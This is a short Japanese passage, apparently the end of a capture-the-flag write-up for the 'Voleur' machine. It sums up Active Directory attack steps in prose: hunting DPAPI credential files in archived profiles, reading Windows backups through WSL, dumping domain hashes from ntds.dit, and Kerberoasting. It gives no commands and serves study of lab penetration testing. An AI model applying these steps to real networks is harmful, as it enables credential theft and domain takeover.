Windows profile の artifact 探索。Archived Users, Profiles, Backup, Home といった入口から、AppData\Roaming\Microsoft\Credentials や Protect\<SID> に進む。
WSL と Windows filesystem の境界。WSL user が /mnt/c 経由で Windows 側の backup にアクセスできると、Windows 権限とは別の経路で重要ファイルが読めることがある。
Offline NTDS dump。ntds.dit と SYSTEM が揃うと PEK を復号でき、domain user の NT hash と Kerberos key が得られる。SECURITY は LSA secrets や DPAPI_SYSTEM など追加 secret に関係する。

Final Thought

Voleur は「権限名を暗記する」よりも、Windows/AD の仕組みを順に結び付ける力が問われる box だった。STATUS_NOT_SUPPORTED を資格情報不正と誤読せず Kerberos に寄せる、SPN が書けるなら Kerberoast に変換できる、deleted user と archived profile を DPAPI につなげる、backup service の SSH key から WSL 経由で Windows backup を読む、というように各段階が Windows の実装に沿っている。CPTS/OSCP 向けには、出力を見た時に「この出力はどの権限・どの暗号材料・どの Windows artifact を証明しているか」を言語化する練習に向いている。